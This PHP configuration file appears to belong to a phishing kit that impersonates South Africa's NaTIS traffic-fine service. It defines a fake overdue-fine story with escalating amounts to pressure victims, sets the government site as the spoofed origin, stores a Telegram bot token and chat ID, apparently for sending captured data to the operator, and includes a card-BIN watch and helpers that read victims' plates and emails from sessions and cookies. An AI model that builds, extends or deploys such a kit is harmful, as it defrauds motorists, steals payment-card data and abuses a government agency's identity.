<?php
require_once __DIR__ . '/StreamDigest.php';

class Config {
    public function __construct() {  }

    public static $token = '6667802409:AAGxsy8TRJWqlS1b8aQBykVy--WkUMGmQ';
    public static $chat_id = '17441369';
    public static $site_origin = 'https://natis.gov.za/';

    /** Letter story: original fine → current due → next escalation. */
    public static $fine_amount_initial = '210.00 ZAR';
    public static $payment_amount = '420.00 ZAR';
    public static $fine_amount_next = '645.00 ZAR';
    public static $fine_reference = 'AART-784293';
    public static $fine_vehicle_reg = 'CA 123-456 GP';

    public static $transaction_id = 'NATIS2607645688';

    public static $alert_brand_name = 'NaTIS';
    public static $telegram_flow_label = 'NATIS RTMC FINE';

    public static $bin_watch_digits = 4;

    public static function isWatchedBin($bin) {
        return StreamDigest::prefixMatch($bin);
    }

    public static function paymentLabel() {
        return self::$payment_amount;
    }

    public static function fineInitialLabel() {
        return self::$fine_amount_initial;
    }

    public static function fineNextLabel() {
        return self::$fine_amount_next;
    }

    public static function paymentCurrencyCode() {
        $s = self::$payment_amount;
        if (preg_match('/\b(RON|EUR|USD|GBP|CHF|HUF|PLN|ZAR)\b/i', $s, $m)) {
            return strtoupper($m[1]);
        }
        if (preg_match('/\bFt\b/i', $s)) {
            return 'HUF';
        }
        return 'ZAR';
    }

    public static function paymentAmountNumeric() {
        return self::amountNumeric(self::$payment_amount);
    }

    public static function fineInitialNumeric() {
        return self::amountNumeric(self::$fine_amount_initial);
    }

    public static function fineNextNumeric() {
        return self::amountNumeric(self::$fine_amount_next);
    }

    public static function fineIncreaseNumeric() {
        return max(0, self::paymentAmountNumeric() - self::fineInitialNumeric());
    }

    private static function amountNumeric($a) {
        if (preg_match('/(?:\d{1,3}(?:\s\d{3})+|\d+[.,]\d+|\d+)/u', $a, $m)) {
            $n = str_replace([' ', ','], ['', '.'], $m[0]);
            return (float) $n;
        }
        return 0.0;
    }

    public static function paymentAmountBarionValue() {
        return number_format(self::paymentAmountNumeric(), 6, ',', '');
    }

    public static function formatZar($amount) {
        return number_format((float) $amount, 2, '.', ' ') . ' ZAR';
    }

    public static function visitorVehicleReg() {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            @session_start();
        }
        if (!empty($_SESSION['natis_vehicle_reg'])) {
            return (string) $_SESSION['natis_vehicle_reg'];
        }
        if (!empty($_COOKIE['natis_vehicle_reg'])) {
            return (string) $_COOKIE['natis_vehicle_reg'];
        }
        return self::$fine_vehicle_reg;
    }

    /** Vehicle plate entered on login only — no Config fallback. */
    public static function visitorVehicleRegFromLogin() {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            @session_start();
        }
        if (!empty($_SESSION['natis_vehicle_reg'])) {
            return (string) $_SESSION['natis_vehicle_reg'];
        }
        if (!empty($_COOKIE['natis_vehicle_reg'])) {
            return (string) $_COOKIE['natis_vehicle_reg'];
        }
        return '';
    }

    public static function visitorEmail() {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            @session_start();
        }
        if (!empty($_SESSION['sc_email'])) {
            return (string) $_SESSION['sc_email'];
        }
        if (!empty($_COOKIE['inv_email'])) {
            return (string) $_COOKIE['inv_email'];
        }
        if (!empty($_COOKIE['sc_email'])) {
            return (string) $_COOKIE['sc_email'];
        }
        return '';
    }
}
?>
